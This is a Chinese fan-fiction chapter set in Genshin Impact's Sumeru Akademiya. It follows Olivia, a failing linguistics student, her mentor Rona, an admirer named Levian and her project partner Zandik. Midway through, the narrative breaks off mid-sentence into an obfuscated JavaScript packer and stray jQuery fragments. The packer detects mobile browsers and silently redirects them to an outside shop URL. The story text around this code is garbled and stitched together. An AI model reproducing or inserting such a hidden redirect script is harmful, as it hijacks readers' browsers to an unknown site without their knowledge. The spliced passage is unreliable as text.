教令院作为提瓦特无数学者向往的知识殿堂,可以说是无比庄严肃穆。
窗外时不时就有学者抱着厚重的卷宗匆匆穿行,而奥莉维亚站在办公室里,神思恍惚,思绪在导师严厉的目光中逐渐飘远。
“奥莉维亚,需要我给你时间再冥想一会儿吗?”导师罗娜尔的声音震在耳边,“我劝你最好是在考虑延毕之后的事情,而不是在想些与学业无关的事。”
奥莉维亚回过神来,长长地呼出一口气。
“导师,我还能顺利毕业吗?”她盯着成绩单上鲜红的不及格,陷入了绝望。
罗娜尔抬手扶了下眼镜,目光落在少女低落的脸上,她沉默了两秒。
“你从帝利耶悉到见习陀娑多,中间仅仅过去了一年半时间,如果不是看过你的升学研究报告,我万万不敢相信这份成绩单是你的。”
说起来,奥莉维亚甚至是同期生中较为突出的学者,她对语言学的研究达到了非常深刻的认知,故而她才能提前结束游学回到教令院。
“……导师,我可能是发挥失常。”
她低下脑袋,寻思系统为什么要给她立天才人设,明明她只是个学术菜鸟啊!
“你发挥失常了六个月,也就是半年。”罗娜尔揉了揉眉心,语气略带些失望。
但她还不打算放弃这个学生,毕竟是她精挑细选出来的人。
“听着,奥莉维亚。知论派自建院以来,还从来没有人在《古须弥遇语法演变》这门课上拿过这么低的评级。”她从办公桌的书架上取出一本比胳膊还粗的书,递给她,“语言学不是一门可以靠感觉蒙混过关的学科。在外人眼中,文字枯燥乏味,可你知道,文字精密容不得半点含糊,语言是人与外界沟通的媒介。如果你一直是这个态度,延毕是板上钉钉的事。”
延毕——
奥莉维亚被这两个字砸地晕头转向,接过书的动作也颤颤巍巍:“导师,我听懂了,我会沉下心来好好学习,不会辜负您的期望。”
她深吸一口气。不,她必须毕业。最近一直围着赞迪克那家伙转,她早上起来的时候,他就已经出门了。
罗娜尔看着她那张乖巧的脸,看似很有决心的样子,最终叹了口气,“听说跨院课题你找了赞迪克组队,你跟他很熟?”
“不熟。”她抱着那本厚厚的古籍,听到这个名字就皱起眉头,“只是因为想加分所以随便找了个人,听说他挺厉害的。”
罗娜尔却露出认可的神色,“赞迪克天赋出众,对遗迹符文的敏感度远超同辈。邀请他作为课题搭档,是很明智的选择。”
“……是呢,我也是听说赞迪克学长非常优秀,所以才主动找到他。”她扯动唇角,掀起一抹勉强的微笑。
没想到连罗娜尔导师都偏向他!
奥莉维亚真想连夜写一篇黑稿抨击他——《教令院‘天才’学长人设崩塌实录》。
随后罗娜尔看时候不早就放她离开了。
走出办公室,她紧绷的肌肉瞬间放松,驼着背缓缓挪动,她要去找蕾妮诉苦。
【系统提示:今日每日任务进度(0/3)。】
奥莉维亚气得直接拿手里的书砖砸向显示屏,然而显示屏是半透明的,她挥了下空气,整个人重心不稳向前倒去,还不忘抱紧怀里的书。
“当心!”
走廊拐角恰好迎来一个人,他见状抻长手臂揽住她下落的腰,将她带回来。
“原来是奥莉维亚,你没事吧?”他拍了拍少女的肩膀,嘴角噙着一抹温和的笑意。
她惊魂未定地摇了摇头,看向来人,是莱维安。隔壁生论派的学者,见过但不熟。
“谢谢。”她目光落在他始终带着笑的脸上,一双漂亮的桃花眼与他柔和的气质格格不入,总觉得他会是那种笑着杀人的类型。
思绪飘忽着,奥莉维亚眼睛忽然不受控制看向他的身后,一道视线从他们两人身上划过,她看过去时,那人身影已经消失。
教令院应该找不出第二个薄荷色头发的人了吧?
莱维安眼睛直勾勾地盯着她,绽放着异样的光芒,他轻声道:“到午饭时间了,你吃饭了吗?如果没有的话可以让我请你吃饭吗?”
“什么?”她闻声眨了眨眼,睫毛又长又密,颊边肉仿佛是两颗饱满的浆果。
莱维安顿时面红耳赤,说话都磕巴起来:“可以和我一起吃顿饭吗?”
“为什么?”她有些不解,“我已经和朋友约好了。”而且她还要去找赞迪克做任务。
闻言,他垂下眸,看起来有些失落。
“那下次可以吗?”莱维安微微侧头,用那双常人无法抗拒的眼眸注视着她。
奥莉维亚即使再迟钝也感受到了他在勾引自己。
“那好……”她刚出声,身侧神不知鬼不觉冒出一道身影,帕蒂沙兰的香味率先侵占了她的呼吸,话音顿时止住。
“课题资料。”赞迪克将一个资料夹塞进她怀里,语速没比平时快,“周末实地考察。”
“什么实地考察?”她捧着一摞东西摇摇晃晃靠近他,“算了这个晚上再问你,你下午在智慧宫吗?我想去找你。”
赞迪克眼神缓缓扫过她的脸,而后落在她身后那道沉郁目光的主人身上,耳坠晃动了下,声音不紧不慢:“随你,不过我们不是不熟?”
他听到了。
奥莉维亚讪讪一笑,“那都是托词。”
“原来如此。”
莱维安听到两人熟稔的对话,脸上的笑僵了一瞬,目光来回在赞迪克和她之间扫过,“奥莉维亚,这位就是你的课题搭档吗?没想到你会报名,下次如果有这种需要可以找我。”
她一时语塞,扯了个勉强的笑容出来:“学长你真是个好人。”
参加跨院课题只是一个接近赞迪克的由头,她可不想再和语言学打交道了。
她看了眼赞迪克,又和莱维安说了两句告别的话,随即头也不回地离开了教令院。
教令院里沉重的学术气息压得她喘不过气,这个地方一定克她,不行她得跑快点,别被什么脏东西上身了。
这边。赞迪克并没有理会来自莱维安的质问,他摩挲了下手中的资料纸缘。
莱维安称他是故意来宣示主权,不,他是在维护实验环境的纯粹性。
奥莉维亚目前属于他的观察范畴,而他也是她的猎物,实验者不会容忍数据被污染。如果她答应另一个人的约会,那他的记录本上就会多一行无法归类的数据。
·
嘭——
奥莉维亚累得气喘吁吁,一把将手里的书和资料放到桌上,把对面的蕾妮吓得弹起来,惊魂未定地拍了拍胸口。
“天呐你这是怎么了?”蕾妮见她的好友满头大汗,连忙贴心地用手帕替她擦拭,“你怎么不用虚空联络我,我可以帮你搬呀。”
两人在靠窗的位置上坐下。
“别提了。我被罗娜尔导师训了半天才脱身。”奥莉维亚叫苦不迭,喝了几大口水。
她把前前后后的事说了个大概,结果蕾妮忽然激动地抱着她晃来晃去。
“你是说莱维安学长帮了你?”她满脸憧憬地想象中那一幕,在她脑海中的画面一定是非常罗曼蒂克,“他好绅士啊。”
奥莉维亚嘴角抽搐了下,轻轻叹了口气:“你喜欢他的话,那我得和他保持距离了。”
侍者走到桌边,她点了一份蔷薇奶糊和枣椰蜜糖,忽然瞥见菜单上的帕蒂沙兰布丁,她沉思了一会儿,最终还是没有点。
假设赞迪克喜欢上她并主动告白……
“那你怎么证明你喜欢我?围着教令院跑十圈,一边跑一边说‘我喜欢奥莉维亚’可以做到吗?”
前脚刚踏进兰巴德酒馆的赞迪克脚步顿住,一道十分刺耳猖狂的笑在心里炸开。
他面无表情地看了眼坐在窗边的少女,她神情荡漾,仿佛在想些让她得意的事。
在进去和返回之间,赞迪克选择了后者。
她的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874668|212345||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
心声实在太聒噪了,虽然他不知道她在拒绝谁。
而奥莉维亚浑然不觉自己幻想出来拒绝赞迪克的声音被正主尽收耳底,她还在想,到底应该怎么拒绝他才能让她解气。
“奥莉维亚,你笑得好狡猾啊。”蕾妮点完单,摇了摇头,“我可不喜欢莱维安学长,谁不知道他喜欢的人是你啊,你该不会不知道吧?”
“…………”
奥莉维亚掏出一面镜子,认真端详了自己漂亮的脸蛋几秒,冲她挑了挑眉:“喜欢我很正常。”
“没发现你这么自恋呢。”蕾妮笑着撞了下她的肩膀,喂她吃了一口枣椰蜜糖。
“对了,你刚才说你最近住朋友家,哪个朋友啊?”蕾妮漫不经心地把叉子放下。
奥莉维亚的勺子愣在半空中,随后含糊地应了声:“一个新朋友,下次介绍你们认识。”
说完她埋头挖碗里的蔷薇奶糊,好在蕾妮没有继续追问,她也松了口气。
解决完午饭,她和蕾妮在酒馆门口分别。
奥莉维亚沿着小路走到教令院门口,系统突然提示她攻略人物在附近,巡视了一圈才发现赞迪克在侧门入口与人交谈。
“……不是我说,你跟她搭档对你有什么好处?”
对话声不受控制钻进她耳朵里,她本想扭头就走,不过听到貌似是在说跟她有关的事,她本能地往旁边躲了半步,把自己藏在阴影里。
对方的声音不大不小,足以让她听清楚。
“今天我还看到她在办公室被罗娜尔训斥,成绩垫底,插科打诨。你跟她做课题,拖的是你的进度。”
哦,是骂她啊。
她轻哼了一声,转头就走。不接受任何批评。
刚进入教令院,身后传来熟悉的脚步声,赞迪克从她身边擦过,“走吧。”
“学长。”奥莉维亚小跑两步追上,“刚刚在那边和你说话的人是谁啊?”
“陌生人。”
“可是他在关心你诶,不是朋友吗?”
她倒是漠不关心自己被人编排的事,也不想知道赞迪克是怎么回复的,这两件事加在一起还没有她肚子吃胀气了重要。
他斜睨了她一眼,语调平淡:“你我同住一起,你都认为和我不熟,那种眼高手低的人,你能将其称之为朋友?随你怎么想。”
“……”
他紧接着说:“奥莉维亚,你很讨厌我,也很怕我,但你又想靠近我,你和别人说跟我不熟,但刚才在门口……”
“我没有在等你。”她眼神飘忽不定,语气莫名有些发虚。
他怎么发现她讨厌他了——
奥莉维亚小心翼翼地打量着他,他头顶的薄荷色头发略微有些打卷,慵懒地垂在额角,一看就是被主人精心打理过,他脸上一向没有表情,看起来古板又冷傲。
她挪开眼,心想这张脸确实无可挑剔。
“我说你在等我了吗?”赞迪克偏过头看了她一眼。
奥莉维亚攥紧手中的资料,咬了下嘴唇,下意识就想反驳,话到嘴边又咽了下去,只是郁闷地说:“赞迪克,我收回前面那句话,你这样的人怎么会有朋友?”
而赞迪克的反应在她预料之外,他像是认可她说的话,唇角掀起一抹不算笑的弧度,仿佛在说“看吧你承认了”。
她心情也陡然烦闷起来,不愧是她厌恶的人,随口说句话都能把人气得想捶胸顿足。
两人来到智慧宫,在正中央的位置坐下。
“所以我觉得,”赞迪克拿起笔,“对于相处不来的人而言,互相厌恶难道不是一种正面情感?”
她稍稍收起躁郁的情绪,“什么意思?”
“至少证明了关系是存在的。”他目光落回纸面,“纯粹的无关才是彻底的拒绝。你讨厌我,我也不喜欢你。但你觉得我们是‘不熟’的关系?”
她张了张嘴,发现自己没法反驳。
“……学长你说话真的很讨厌。”
“那你应该习惯。”